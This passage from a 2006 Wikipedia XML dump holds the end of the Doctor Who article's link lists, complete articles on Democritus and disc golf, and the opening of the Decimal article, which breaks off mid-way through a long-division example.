*[http://www.museum.tv/archives/etv/D/htmlD/doctorwho/doctorwho.htm Encyclopedia of Television]
*[http://dmoz.org/Arts/Television/Programs/Science_Fiction_and_Fantasy/D/Doctor_Who/ DMOZ ''Doctor Who'' page]
*[http://www.cuttingsarchive.org.uk/ ''Doctor Who'' Cuttings Archive] &amp;mdash; hosts a large number of press cuttings and articles from the 60s onwards.
*[http://www.drwhoguide.com/ The ''Doctor Who'' Reference Guide] &amp;mdash; synopses of virtually every television episode, novel, audio drama, comic strip and spin-off video based upon the series
*[http://www.doctorwhowebguide.net/ The ''Doctor Who'' Web Guide] &amp;mdash; an index of ''Who''-related web sites
*[http://www.gallifreyone.com/thisweek.php &quot;This Week in Doctor Who&quot;] — a weekly listing of ''Doctor Who'' events and worldwide broadcasting schedules
*[http://www.shillpages.com/dw/dwia.htm Steve Hill's ''Doctor Who'' Image Archive]
*[http://www.throup.org.uk/doctor_who.php The Doctor Who Logo Collection]

===Fan sites===
*[http://www.gallifreyone.com Outpost Gallifrey] &amp;mdash; Large ''Doctor Who'' news site with reviews, articles, and a popular discussion forum
*[http://www.dwasonline.co.uk Doctor Who Appreciation Society] &amp;mdash; UK-based fan club
*[http://nitro9.earth.uni.edu/doctor/homepage.html Nitro-9] &amp;mdash; FAQs and archives
*[http://www.pagefillers.com/dwrg/ The ''Doctor Who'' Ratings Guide] &amp;mdash; contains over 5000 fan-written reviews
*[http://www.dewhurstdesigns.co.uk/dynamic ''Doctor Who'' Dynamic Rankings]
*[http://www.timelord.co.uk/ Timelord.co.uk] &amp;mdash; creative forum and archive, including fan-fiction and audios.
*[http://www.drwho-online.co.uk/ ''Doctor Who'' Online]
*[http://www.unitnews.co.uk unitnews ''Doctor Who'' news &amp; chat] &amp;mdash; UK based site featuring news, forums and competitions
*[http://www.kasterborous.com Kasterborous ''Doctor Who'' Online Webzine] &amp;mdash; articles and original artwork across all aspects of the ''Doctor Who'' universe
*[http://tardis.wikicities.com/wiki/Main_Page TARDIS Index File ''Doctor Who'' wiki] &amp;mdash; articles are written from the fictional perspective of the ''Doctor Who'' universe
*[http://www.whoniverse.org/ The Whoniverse] &amp;mdash; a guide to the fictional aspects of ''Doctor Who''
*[http://www.whofic.com/ A Teaspoon And An Open Mind] &amp;mdash; ''Doctor Who'' fanfiction archive
*[http://www.podshock.net/ Doctor Who: Podshock] &amp;mdash; a weekly podcast with opinions from the US and the UK
*[http://www.podcastwho.com/ Podcast Who] &amp;mdash; a podcast all about the Doctor Who Universe
*[http://www.missingpiece.com/pinball/drwho/ Doctor Who Pinball: Time Streams]

{{featured article}}

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[[Category:British cultural icons]]

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  <page>
    <title>Democritus</title>
    <id>8211</id>
    <revision>
      <id>41924653</id>
      <timestamp>2006-03-02T17:34:56Z</timestamp>
      <contributor>
        <username>Uriah923</username>
        <id>270261</id>
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      <comment>add unsourced tag, comment out unsourced statement, rmv vandalism</comment>
      <text xml:space="preserve">&lt;!-- Unsourced image removed: [[Image:democritus_bust.jpg|thumb|Bust of Democritus]] --&gt;

'''Democritus''' was a [[The Presocratics|pre-Socratic]] [[Hellenic civilization|Greek]] [[philosopher]] (born at [[Abdera, Thrace|Abdera]] in [[Thrace]] around [[460 BC]]; died in [[370 BC]]). Democritus was a student of [[Leucippus]], and co-originator of the belief that all [[matter]] is made up of various imperishable indivisible [[Classical element#Classical elements in Greece|elements]] which he called &quot;atomos&quot;, from which we get the English word [[Atomism|atom]]. It is virtually impossible to tell which of these ideas were unique to Democritus, and which are attributable to Leucippus. &lt;!-- Unsourced: Democritus is sometimes referred to as Democrates and Democ.--&gt;

Much of his work in mathematics was in the area of geometry. He was among the first to observe that a cone or pyramid has one third the volume of a cylinder or prism respectively with the same base. 

Democritus was also the first philosopher we know who realized that what we perceive as the [[Milky Way]] is the light of distant stars. Other philosophers, including later [[Aristotle]], argued against this. Democritus was among the first to propose that the universe contains many worlds, some of them inhabited:

: &quot;In some worlds there is no Sun and Moon, in others they are larger than in our world, and in others more numerous. In some parts there are more worlds, in others fewer (...); in some parts they are arising, in others failing. There are some worlds devoid of living creatures or plants or any moisture.&quot;

[[Image:DemocritusLaughing.jpeg|left|thumb|[[Hendrick ter Brugghen]], &quot;Democritus Laughing&quot; (1629)]] 

Democritus is said to have had a happy disposition, and is sometimes referred to as the &quot;laughing philosopher,&quot; as opposed to [[Heraclitus]], who is known as the &quot;weeping philosopher.&quot; In [[the Divine Comedy]] Dante sees the shade of Heraclitus in Limbo with those of other classical philosophers.

He was also a pioneer of mathematics and geometry in particular. We only know this through citations of his works (titled  ''On Numbers'', ''On Geometrics'', ''On Tangencies'', ''On Mapping'', and ''On Irrationals'') in other writings, since most of Democritus' body of work did not survive the Middle Ages. Aristotle tells us that his theory of matter, commonly called [[atomism]], was a reaction to [[Parmenides]], who denied the existence of motion, change, or the [[void]].  Parmenides argued that the existence of a thing implied that it could not have &quot;come into being&quot;, because &quot;[[nothing comes from nothing]]&quot;.  Moreover, he argued, movement was impossible, because one must move into &quot;the void&quot; and (as he identified &quot;the void&quot; with &quot;nothing&quot;) the void does not exist and cannot be &quot;moved into&quot;.

[[Image:Democ1.jpg|thumb|Stamp issued by Greece on Sept. 26, 1983 to honor an International Conference on Democritus and his work]]
Democritus agreed that everything which is must be eternal, but denied that &quot;the void&quot; can be equated with nothing.  This makes him the first thinker on record to argue for the existence of an entirely empty &quot;void&quot;. In order to explain the change around us from basic, unchangeable substance he argued that there are various basic elements which always existed but can be rearranged into many different forms. He argued that atoms only had several properties, particularly size, shape, and mass; all other properties that we attribute to matter, such as color and taste, are but the result of complex interactions between the atoms in our bodies and the atoms of the matter that we are examining. Furthermore, he believed that the real properties of atoms determine the perceived properties of matter--for example, something that tastes sharp is made of small, pointy atoms, while something sweet is made of large, round atoms; the interactions of those atoms with the atoms of the tongue give the impression of taste. Some types of matter are particularly solid because their atoms have hooks to attach to each other; some are oily because they are made of very fine, small atoms which can easily slip past each other. In Democritus' own words, &quot;By convention sweet, by convention bitter, by convention hot, by convention cold, by convention colour: but in reality atoms and void.&quot;

== Democritus' philosophy ==
===The world===
What was real to Democritus consists of the atoms and the &quot;nothing&quot;.  Atoms are indestructible, eternal, and are in constant motion.They are not all the same as they differ in shape and position. When the atoms move they come into contact with other atoms and form bodies.  A thing comes into being when the atoms that make it up are appropriately associated and passes away when these parts disperse.

This leaves no room for the intelligent direction of things, either by human or divine intelligence, as all that exists are atoms and the void. Democritus stated,  ''&quot;Nothing occurs at random, but everything occurs for a reason and by necessity.&quot;''

===The soul===
Although intelligence is not allowed to explain the organization of the world, according to Democritus, he does give place for the existence of a soul, which he contends is composed of exceedingly fine and spherical atoms.  He holds that, ''&quot;spherical atoms move because it is their nature never to be still, and that as they move they draw the whole body along with them, and set it in motion.&quot;''  In this way, he viewed soul-atoms as being similar to fire-atoms: small, spherical, capable of penetrating solid bodies and good examples of spontaneous motion.

Democritus explained senses along these lines, also.  Different tastes are a result of differently shaped atoms in contact with the tongue.  Smells and sounds are explained similarly.  Vision works by the eye receiving &quot;images&quot; or &quot;effluences&quot; of bodies that are emanated.  He stated that, ''&quot;Sweet exists by convention, bitter by convention, color by convention; but in reality atoms and the void alone exist.&quot;'' This means that senses do not provide a direct or certain knowledge of the world.  In his words, ''&quot;It is necessary to realize that by this principle man is cut off from the real.&quot;''  Later philosophers use this to assert that any reliable knowledge can be obtained, but Democritus felt differently:
{{quote_box|quote=There are two forms of knowledge: one legitimate, one bastard.  To the bastard sort belong all the following: sight, hearing, smell, taste, touch.  The legitimate is quite distinct from this.  When the bastard form cannot see more minutely, nor hear nor smell nor taste nor perceive through the touch, then another finer form must be employed.|source=Democritus, Fragment 11, ''[[The Symmetry of Life]]''|}}

This finer form is reasoning, although Democritus does not explain reason in the atomistic view.

===How to live===
{{unsourced}}
The following excerpts are from Democritus' extensive writings on [[ethics]], of which little remain:
*''&quot;Disease occurs in a household, or in a life, just as it does in a body.&quot;''
*''&quot;Medicine cures the diseases of the body; wisdom, on the other hand, relieves the soul of its sufferings.&quot;''
*''&quot;The needy animal knows how much it needs, but the needy man does not.&quot;''
*''&quot;It is hard to fight with desire; but to overcome it is the mark of a rational man.&quot;''
*''&quot;Moderation increases enjoyment, and makes pleasure even greater.&quot;''
*''&quot;It is childish, not manly, to have immoderate desires.&quot;''
*''&quot;The good things of life are produced by learning with hard work; the bad are reaped of their own accord, without hard work.&quot;''
*''&quot;The brave man is he who overcomes not only his enemies but his pleasures.  There are some men who are masters of cities but slaves to women.&quot;''
*''&quot;In cattle excellence is displayed in strength of body; but in men it lies in strength of character.&quot;''
*''&quot;I would rather discover a single cause than become king of the Persians.&quot;''
*''&quot;There is no poetry without madness.&quot;''
*''&quot;Proclus states that Pythagoras and Epicurus agree with Cratylus, but Democritus and Aristotle agree with Hermogenes, the former that names arise by nature, the latter that they arise by chance. Pythagoras thought that the soul gave the names, deriving them like images of reality from the mind. But Democritus thought that the proof of their chance origin was fourfold: (1) the calling of different things by the same name; (2)having several names for the same thing; (3)change of name; (4)lack of name.&quot;''
*''&quot;Medicine heals diseases of the body, wisdom frees the soul from passions.&quot;''
*''&quot;Nature and instruction are similar; for instruction transforms the man.&quot;''
*''&quot;If any man listens to my opinions, here recorded, with intelligence, he will achieve many things worthy of a good man, and avoid doing many unworthy things.&quot;''
*''&quot;He who chooses the advantages of the soul chooses things more divine, but he who chooses those of the body, chooses things human.&quot;''
*''&quot;It is noble to prevent the criminal; but if one cannot, one should not join him in crime.
*''&quot;One must either be good, or imitate a good man.&quot;''
*''&quot;Men find happiness neither by means of the body nor through possessions, but through uprightness and wisdom.&quot;''
*''&quot;Refrain from crimes not through fear but through duty.&quot;''
*''&quot;It is a great thing, when one is in adversity, to think of duty.&quot;''
*''&quot;Repentance for shameful deeds is salvation in life.&quot;''
*''&quot;The wrongdoer is more unfortunate than the man wronged.&quot;''
*''&quot;Magnanimity consists in enduring tactlessness with mildness.&quot;''
*''&quot;Well-ordered behavior consists in obedience to the law, the ruler, and the man wiser than oneself.&quot;''
*''&quot;When inferior men censure, the good man pays no heed.&quot;''
*''&quot;It is hard to be governed by one’s inferior.&quot;''
*''&quot;The man enslaved to wealth can never be honest.&quot;''
*''&quot;In power of persuasion, reasoning is far stronger than gold.&quot;''
*''&quot;He who tries to give intelligent advice to one who thinks he has intelligence, is wasting his time.&quot;''
*''&quot;Many who have not learnt Reason, nevertheless live according to reason.&quot;''
*''&quot;Many whose actions are most disgraceful practice the best utterances.&quot;''
*''&quot;The foolish learn sense through misfortune.&quot;''
*''&quot;One should emulate the deeds and actions of virtue, not the words.&quot;''
*''&quot;Noble deeds are recognized and emulated by those of natural good disposition.&quot;''
*''&quot;Good breeding in cattle depends on physical health, but in men on a well-formed character.&quot;''
*''&quot;The hopes of right-thinking men are attainable, but those of the unintelligent are impossible.&quot;''
*''&quot;Neither skill nor wisdom is attainable unless one learns.&quot;''
*''&quot;It is better to examine one’s own faults than those of others.&quot;''
*''&quot;Those whose character is well-ordered have also a well-ordered life.&quot;''
*''&quot;Virtue consists, not in avoiding wrong-doing, but in having no wish thereto.&quot;''
*''&quot;To pronounce praise on noble deeds is noble; for to do so over base deeds is the work of a false deceiver.&quot;''
*''&quot;Many much-learned men have no intelligence.&quot;'' (Also attributed to Heraclitus)
*''&quot;One should practice much sense, not much learning.&quot;''
*''&quot;It is better to deliberate before action than to repent afterwards.&quot;''
*''&quot;Believe not everything, but only what is approved: the former is foolish, the latter the act of a sensible man.&quot;''
*''&quot;The worthy and the unworthy man are to be known not only by their actions, but also their wishes.&quot;''
*''&quot;For all men, good and true are the same; but pleasant differs for different men.&quot;''
*''&quot;Immoderate desire is the mark of a child, not a man.&quot;''
*''&quot;Untimely pleasures produce unpleasantness. &quot;''
*''&quot;Violent desire for one thing blinds the soul to all others.&quot;''
*''&quot;Virtuous love consists in decorous desire for the beautiful.&quot;''
*''&quot;Accept no pleasure unless it is beneficial.&quot;''
*''&quot;It is better for fools to be ruled than to rule.&quot;''
*''&quot;For the foolish, not reason but advantage is the teacher.&quot;''
*''&quot;Fame and wealth without intelligence are dangerous possessions.&quot;''
*''&quot;To make money is not without use, but if it comes from wrong-doing, nothing is worse.&quot;''
*''&quot;It is a bad thing to imitate the bad, and not even to wish to imitate the good.&quot;''
*''&quot;It is shameful to be so busy over the affairs of others that one knows nothing of one's own.&quot;''
*''&quot;Constant delay means work undone.&quot;''
*''&quot;The false and the seemingly good are those who do all in word, not in fact.&quot;''
*''&quot;The cause of error is ignorance of the better.&quot;''
*''&quot;The man who does shameful deeds must first feel shame in his own eyes.&quot;''
*''&quot;He who contradicts and chatters much is ill-fitted for learning what he ought.&quot;''
*''&quot;It is greed to do all the talking and not be willing to listen.&quot;''
*''&quot;One must be on one’s guard against the bad man, lest he seize his opportunity.&quot;''
*''&quot;The envious man torments himself like an enemy.&quot;''
*''&quot;An enemy is not he who injures, but he who wishes to do so.&quot;''
*''&quot;The enmity of relatives is much worse than that of strangers.&quot;''
*''&quot;Be not suspicious towards all, but be cautious and firm.&quot;''
*''&quot;Accept favors in the foreknowledge that you will have to give a greater return for them.
*''&quot;When you do a favor study the recipient first, lest he prove to be a scoundrel and repay evil for good.&quot;''
*''&quot;Small favors at the right time are greatest to the recipients.&quot;''
*''&quot;Marks of honor at the right time are greatly valued by right-thinking men, who understand why they are being honored.&quot;''
*''&quot;The generous man is he who does not look for a return, but who does good from choice.&quot;''
*''&quot;Many who seem friendly are not so, and those who do not seem so, are.&quot;''
*''&quot;The friendship of one intelligent man is better than that of all the unintelligent.&quot;''
*''&quot;Life is not worth living for the man who has not even one good friend.&quot;''
*''&quot;The man whose tested friends do not stay long with him is bad-tempered.&quot;''

== References ==
* {{cite book | last = Melchert | first = Norman | title = The Great Conversation: A Historical Introduction to Philosophy | publisher = McGraw Hill | year = 2002 | id = ISBN 0195175107 }}
* Ancilla To The Pre-Socratic Philosophers, translated by Kathleen Freeman.

== External links ==
*[http://www-gap.dcs.st-and.ac.uk/~history/Mathematicians/Democritus.html Democritus of Abdera] biography page by the ''School of Mathematics and Statistics'' at the ''University of St Andrews, Scotland''.
*[http://www.utm.edu/research/iep/d/democrit.htm Democritus article in The Internet Encyclopedia of Philosophy]
*[http://www.thebigview.com/greeks/democritus.html  Leucippus and Democritus]
*[http://plato.stanford.edu/entries/democritus/ Stanford Encyclopedia of Philosophy entry]

{{Presocratics}}

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    <title>Disc golf</title>
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    <revision>
      <id>41816698</id>
      <timestamp>2006-03-01T23:03:14Z</timestamp>
      <contributor>
        <ip>66.169.95.170</ip>
      </contributor>
      <comment>added to external links</comment>
      <text xml:space="preserve">[[Image:Disc_golf_throw.jpg|right|thumb|250px|A player throwing his disc toward a metal basket target.]]
'''Disc Golf''' (also known as '''folf''' or '''frolf''' for '''frisbee golf''') is a game based on the rules of [[golf]] (referred to by disc golfers as &quot;ball golf&quot; or &quot;stick golf&quot;).  It uses flying discs which are similar to the [[Frisbee]], but usually smaller and more dense.  The discs are [[Frisbee throws|thrown]] towards a target, which serves as the &quot;hole&quot;.  The targets can range from objects, such as trees and poles, to metal baskets with hanging chains to catch the discs.

===Playing===

Disc golf is played in a similar manner as ball golf.  The initial &quot;drive&quot; is taken from a designated tee area.  Each subsequent throw is taken from just behind the spot where the disc came to rest.  Each is added to your tally.  As with ball golf each hole is given a par rating.  A common strategy for a par-three hole, as in golf, would be drive (long throw toward the basket), approach (mid-range throw to the &quot;green&quot;), putt (short throw into the basket).  Your hole is scored when the disc has come to rest in the basket of the target or when it hits the designated part of an object if there are no baskets and it is an object course. 

A typical course would be 18 holes.  Many smaller courses have only 9 holes, while an increasing number of courses offer an additional 9 holes to make 27 available holes to the disc golfer.  Many disc golf courses are in open, grassy public parks, but more challenging courses are set in semi-wooded and hilly areas, some quite rough and natural.  One good example of a classic long course with wooded hills is [[De Laveaga Disc Golf Course]] in [[Santa Cruz, California]], [[United States|USA]].  

The target in disc golf is usually a metal basket that is suspended parallel to the ground about two feet from the ground, and attached to a vertical pole that is a few feet tall. To better allow discs to come to rest in this basket, chains are suspended from another circular section near the top of the pole and allowed to hang limply to a point where they are connected to the pole in or near the receiving basket.  

Disc golf is unique in that [[Professional Disc Golf Association|PDGA]] and [[World Flying Disc Federation|WFDF]] [http://www.pdga.com/rules/ rules], based in player conservation efforts as well as fair play, make it a violation to cause damage to the course's flora.  With most courses not requiring greens fees, the relative low cost of discs, and tournament fees still fairly low, the disc golf social structure may be among the most egalitarian and relaxed in organized sports.

There are a wide variety of discs, divided into three basic categories: putters, approach discs, and drivers.  Within each of these categories, each disc has its own distinct flight characteristics.  There are golf discs designed to fly straight, turn left, or turn right, depending on how they are thrown by the player.  There are several classes of drivers intended for different distances.  Mid-range drivers tend to be the most versatile discs, and are very good for beginners.  For longer drives there are many variations of long-range and extra long-range drivers.

===Throwing style

===

:''See [[Frisbee throws]] for more details''

The two most common throwing techniques are the ''forehand'' throw (aka side-arm), and the ''backhand'' throw. Of the two the backhand style is most familiar to new players and is the most common.

A right-handed player performing a forehand throw will generally hold the disc in his right hand and throw the disc with the palm of his hand facing the direction of the throw.&lt;br/&gt;
A right-handed backhand thrower will throw the disc with the back side of his hand facing the direction of the throw.

The different types of throws spin the disc in opposite directions, causing the disc to turn and fade left or right, depending on type of disc thrown, windage, spin speed and various other variables. Many players try to master both techniques or learn to play both left- and right-handed to account for as many situations as possible.

Another throwing style is the roller, which can be done two different ways.  One way a roller can be thrown is with a forehand grip and the disc is released vertically and allowed to roll.  The other way a roller can be thrown is with a backhand grip.  The person would throw the disc, releasing it vertically.  Most people can get more distance with a backhand roller than with a forehand roller.

Additional throwing techniques include (but are not limited to):
*Tomahawk - A throw where the player holds the disc over his shoulder and releases it vertically, with his thumb on the topside of the frisbee, and the index and middle fingers wrapped around the back edge of the frisbee.  The purpose of this is to have a very straight throwing shot that won't turn into a roller and will land relatively flat.
*Thumber - Also known as a thumbhook.  The player will hold the frisbee in the same manner as the Tomahawk, except with the thumb wrapped around the under-edge of the frisbee.  In releasing, the frisbee will spin off of the thumb of the thrower, and create a very straight throw, that has the possibility to roll quite far if thrown with enough force and spin.
*Grenade - an overhand throw with the intention of the disk rolling most of the throw distance (can be very inaccurate and cause the disk to roll way off course)
*Prebinator - A chip shot where the disc is held upside down and chipped to the basket with a normal forehand toss. The disc flies and dives straight down at the basket. Back spin is generated such that in case the disc misses the basket, it will come to a rest near the basket. The Prebinator takes a great dive down &quot;into&quot; the basket, taking advantage of the larger basket entry area.

==Physics==

Stability is one of the most important disc properties when choosing a disc.  There are three stability classifications, based on the behavior of a disc when thrown using a level right-handed backhand:

*''Understable:'' An understable disc has a natural tendency to curve to the right during its flight when thrown backhand by a right-handed player.
*''Stable:'' A stable disc will maintain a straight flight path.
*''Overstable:'' An overstable disc that tends to curve to the left when thrown backhand by a right-handed player.

The stability of a disc depends on a number of factors, including the weight, size and shape of the disc and the speed with which it is thrown.  Thus, a disc that is overstable for one player may be stable or even understable for another.  The ratio of disc spin, angle upon release, and air speed (partially related to arm speed) are important control factors.

==Disc Golf Hall of Fame==

*1993: Vanessa Chambers | Dave Dunipace | Ed Headrick | Tom Monroe | Jim Palmeri | Dan Roddick | Ted Smethers
*1994: Harold Duvall | Nobuya Kobayashi | Darrell Lynn | Dan Mangone | Doug Newland | Snapper Pierson | Lavone Wolfe
*1995: Ken Climo | John David | David Greenwell | Johnny Roberts | Dr. Rick Voakes
*1996: Mike Conger | Patti Kunkle | Rick Rothstein
*1997: Steve Slasor | Elaine King | Jim Kenner
*1998: Gregg Hosfeld | John Houck | Carlton Howard
*1999: Sam Ferrans | Steve Wisecup | Tim Selinske
*2000: Tom Schot | Royce Racinowski
*2001: Stan McDaniel | Johnny Sias
*2002: Alan Beaver | Gary Lewis
*2003: Mark Horn | Brian Hoeniger | Dr. Stancil Johnson, 
*2004: Derek Robins | Geoff Lissaman | Johnny Lissaman | Marty Hapner 
*2005: Mats Bengtsson | Sylvia Voakes

For more information, visit the website of the 
'''[http://www.discgolfhalloffame.org/  Disc Golf Hall of Fame.]'''

==Disc Golfers (external links)==

* [http://www.pdga.com/members.php PDGA Membership Search]
* [http://www.KenClimo.com Ken Climo]
* [http://www.scottstokely.com Scott Stokely]
* [http://www.discgolfwarehouse.com Tom Monroe]
* [http://www.innovadiscs.com/juliana Juliana Korver]
* [http://www.gdstour.com/team/ Gateway's Team]
* [http://www.discgolfassoc.com/index2.shtml Ed Headrick, Father of Disc Golf]
* [http://www.sharkysshots.com/ SharkysShots.com disc golf photos]
* [http://www.geocities.com/pdga14567/Disc_Golf.html Cubby's Disc Golf World Podcast]

==Disc manufacturers==
[[Image:Discs in basket.jpg|right|thumb|250px|A number of assorted discs.]]
* [http://www.chingdiscgolf.com CHING®]
* [http://www.discgolfassoc.com Disc Golf Association]
* [http://www.discraft.com Discraft]
* [http://www.innovadiscs.com Innova]
* [http://www.lightninggolfdiscs.com Lightning]
* [http://golfdisc.com/ Millennium]
* [http://www.gdstour.com Gateway]
* [http://www.latitude64.se/ Lattitude 64°]
* [http://www.discwing.com/ Discwing]

==Courses==
* [http://www.PleasureIslandDiscGolf.com Pleasure Island/Port Arthur, Texas; home of 1994-95 World Championships]
* [http://www.pdga.com/course/index.php PDGA's extensive online directory of courses]
* [http://www.referential-integrity.com/DiscGolfCourseGmap/ Google Maps Disc Golf Courses]
* [http://homepage.mac.com/disctivity DiscSports in the Utrecht,NL area]
* [http://www.md-discgolf.com/ Maryland Disc Golf]
* [http://www.sedgleywoods.org/ Sedgley Woods Disc Golf Course - Philadelphia, PA]
* [http://SenecaDiscGolf.com/ Seneca Creek Disc Golf Course - Gaithersburg, MD]
* [http://stafforddiscgolf.blogspot.com/ Stafford Lake - Novato, CA]
* [http://sbdiscgolf.com/ Home of the Seth Burton Memorial Disc Golf Course]
* [http://columbusdiscgolf.com/ The Brent Hambrick Memorial Disc Golf Course]

==Clubs==
{{main|Disc golf clubs}}
* {{dmoz|Sports/Flying_Discs/Disc_Golf/Clubs/|Disc golf clubs}}
Idaho Falls Disc Golf Course (Freeman Park) [http://www.idahofallsdiscgolf.com]
* [http://wvdiscgolf.org/ West Virginia Disc Golf Association]
* [http://www.mbdg.org/ Manhattan Beach CA Disc Golf Club] (Polliwog Park)
* [http://www.memphisdiscgolf.com/ Memphis Disc Golf Club]

==Popular Culture==

Frisbee golf (Frolf) was referenced in the &quot;[[Summer of George]]&quot; episode of [[Seinfeld]].  From the realization that each of them, (George and Jerry), are only about &quot;a half man&quot;, George starts helping Jerry with his new girlfriend.  When George is supposed to be delivering cards for a party Jerry's girlfriend is hosting, he is met by a stranger in the park that asks: &quot;You know we need a 4th for the back 9, you want in?&quot;, he decides to partake in the game.

==External links==
* [http://www.PDGA.com Professional Disc Golf Association]
* [http://www.discgolf.com DiscGolf.com]
* [http://www.discgolfassoc.com Disc Golf Association], The company that started the sport in 1975.
* [http://www.disclife.com DiscLife.com]
* [http://EpicenterDiscGolf.com  Epicenter Disc Golf Services - Augusta, GA] Host of the 2006 PDGA Pro Disc Golf World Championships.
* [http://www.pdga.com/schedule/ Sanctioned PDGA Tournaments]
* [http://www.worlddiscgames.com World Disc Games], Main International Disc Tournament held every two years starting 1977.
* [http://www.playitagainsports.com Play It Again Sports], buy/sell new/used discs. Call, not all locations carry them.
* [http://www.discgolfassoc.com/history.html History of Disc Golf]
* [http://www.pleasureislanddiscgolf.com/hole-in-one.html A disc golf hole-in-one: video clip]
* [http://www.chainbangers.com ChainBangers Disc Golf] Sells disc golf equipment, including apparel, and provides information about the disc golf community in Middle Tennessee.
* [http://www.sportdiscs.com/dxmisprints.html Misprint Discrafts - Cheap]
*[http://www.minidiscgolf.com Mini Disc Golf Federation's Homepage]
* [http://www.discyard.com/ Disc Golf Info and Gear]
* [http://www.chingdiscgolf.com CHING®] - Manufacturer
* [http://www.innovadiscs.com Innova Disc Golf] - Manufacturer
* [http://www.hyzernauts.de/ Hyzernauts.de] German-Site with nice Videos and reports on european activities.
* [http://EpicenterDiscGolf.com  Epicenter Disc Golf Services - Augusta, GA]   Developers of the PDGA National Disc Golf Center.
* [http://www.bdga.org.uk British Disc Golf Association]
* [http://www.discgolflive.com/ Disc Golf Live Video Magazine] A TV show available at no cost for broadcast on community and public access stations.
* [http://www.dsmdiscgolf.org The Des Moines Disc Golf Club] Des Moines, IA.

* [http://www.edgediscgolf.org Educational Disc Golf Experience] 

[[Category:Frisbee]]
[[Category:Precision sports]]
[[Category:Individual sports]]
[[Category:Forms of golf]]
[[Category:Sports in the United States]]

[[de:Discgolf]]
[[fr:Disc golf]]
[[no:Frisbeegolf]]
[[fi:Frisbeegolf]]
[[sv:Discgolf]]</text>
    </revision>
  </page>
  <page>
    <title>Decimal</title>
    <id>8214</id>
    <revision>
      <id>41784389</id>
      <timestamp>2006-03-01T18:57:14Z</timestamp>
      <contributor>
        <username>Mfc</username>
        <id>36023</id>
      </contributor>
      <minor />
      <comment>/* Decimal writers */  chrono</comment>
      <text xml:space="preserve">The '''decimal''' ('''base ten''' or occasionally '''denary''') [[numeral system]] has [[10 (number)|ten]] as its [[Base (mathematics)|base]].  It is the most widely used numeral system, probably because humans commonly have a total of ten digits on their [[hand]]s.
{{numeral_systems}}

== Decimal notation ==
Decimal notation is the writing of [[number]]s in the base-ten [[numeral system]], which uses various symbols (called [[numerical digit|digits]]) for ten distinct values (0, 1, 2, 3, 4, 5, 6, 7, 8 and 9) to represent numbers.  These digits are often used with a [[decimal separator]] which indicates the start of a fractional part, and with one of the sign symbols + (plus) or &amp;minus; (minus) to indicate sign. 

The [[algorism|decimal system]] is a [[positional notation|positional numeral system]]; it has positions for units, tens, hundreds, ''etc.''  The position of each digit conveys the multiplier (a power of ten) to be used with that digit&amp;mdash;each position has a value ten times that of the position to its right.

[[10 (number)|Ten]] is the number which is the count of fingers and thumbs on both hands (or toes on the feet).  In many languages the word [[digit]] or its translation is also the anatomical term referring to fingers and toes.  In English, decimal (decimus &lt; [[Latin|Lat.]]) means ''tenth'', decimate means ''reduce by a tenth'', and denary (denarius &lt; Lat.) means ''the [[unit]] of ten''.

The symbols for the digits in common use around the [[globe]] today are called [[Hindu-Arabic numerals|Arabic numerals]] by Europeans and [[Indian numerals]] by Arabs, the two groups' terms both referring to the culture from which they learned the system.  However, the symbols used in different areas are not identical; for instance,  Western Arabic numerals (from which the European numerals are derived) differ from the forms used by other Arab cultures. 

=== Alternative notations ===

Some cultures do, or used to, use other numeral systems, including the [[Tzotzil]], who use a [[vigesimal]] system (using all twenty fingers and [[toe]]s), some [[Nigeria]]ns who use several [[duodecimal]] systems, the [[Babylonia]]ns, who used [[sexagesimal]], and the [[Yuki tribe|Yuki]], who reportedly used [[octal]].

[[Computer]] hardware and software systems commonly use a [[binary system|binary repesentation]], internally.  For external use by computer specialists, this binary representation is sometimes presented in the related [[octal]] or [[hexadecimal]] systems.  
For most purposes, however, binary values are converted to the equivalent decimal values for presentation to and manipulation by humans.

Both computer hardware and software also use internal representations which are effectively decimal for storing decimal values and doing arithmetic.  Often this arithmetic is done on data which are encoded using [[binary-coded decimal]], but there are other decimal representations in use (see [[IEEE 754r]]), especially in database implementations.  Decimal arithmetic is used in computers so that decimal fractional results can be computed exactly, which is not possible using a binary fractional representation. 
This is often important for financial and other calculations [http://www2.hursley.ibm.com/decimal/decifaq.html].

=== Decimal fractions ===

A '''decimal fraction''' is a [[vulgar fraction|fraction]] where the [[denominator]] is a [[exponentiation|power]] of ten.

Decimal fractions are commonly expressed without a denominator, the [[decimal separator]] being inserted into the numerator (with [[leading zero]]s added if needed), at the position from the right corresponding to the power of ten of the denominator.  e.g., 8/10, 833/100, 83/1000, 8/10000 and 80/10000 are expressed as:  0.8, 8.33, 0.083, 0.0008 and 0.008.

Numbers which can be expressed exactly in this way are called '''decimal numbers''' or '''regular numbers'''.

The [[integer]] and [[fraction (mathematics)|fraction]]al parts of a decimal number are separated by a [[decimal separator]].  In this article, as in most of the English speaking world, a dot &lt;!-- sigh this needs to be at 0.5 x up --&gt; (&lt;sup&gt;'''.'''&lt;/sup&gt;) or period ('''.''') is used as the separator.  It is usual for a decimal number which is less than one to have a leading zero. 

Trailing zeros after the decimal point are not necessary, although in science, engineering and [[statistics]] they can be retained to indicate a required precision or to show a level of confidence in the accuracy of the number:  Whereas 0.080 and 0.08 are numerically equal, in engineering 0.080 suggests a measurement with an error of up to 1 part in two thousand (&amp;plusmn;0.0005), while 0.08 suggests a measurement with an error of up to 1 in a two hundred (see ''[[Significant figures]]'').

=== Other rational numbers ===
Any [[rational number]] which cannot be expressed as a decimal fraction has a unique infinite decimal expansion ending with [[recurring decimal]]s.     

Ten is the product of the first and third [[prime number]]s, is one greater than the square of the second prime number, and is one less than the fifth prime number. This leads to plenty of simple decimal fractions:

:1/2 = 0.5 
:1/3 = 0.333333… (with 3 recurring)
:1/4 = 0.25 
:1/5 = 0.2 
:1/6 = 0.166666… (with 6 recurring)
:1/8 = 0.125 
:1/9 = 0.111111… (with 1 recurring)
:1/10 = 0.1 
:1/11 = 0.090909… (with 09 recurring)
:1/12 = 0.083333… (with 3 recurring)
:1/81 = 0.012345679012… (with 012345679 recurring)

Other prime factors in the denominator will give longer recurring [[sequence]]s, see for instance [[7 (number)|7]], [[13 (number)|13]]. 
 
That a rational must produce a [[finite]] or recurring decimal expansion can be seen to be a consequence of the [[long division]] [[algorithm]], in that there are only (q-1) possible nonzero [[remainder]]s on division by q, so that the recurring pattern will have a period less than q-1.  For instance to find 3/7 by long division:

    &lt;u&gt;   .4 2 8 5 7 1 4 ..&lt;/u&gt;.
  7 ) 3.0 0 0 0 0 0 0 0 
     &lt;u&gt; 2 8 &lt;/u&gt;                        30/7 = 4 r 2
        2 0
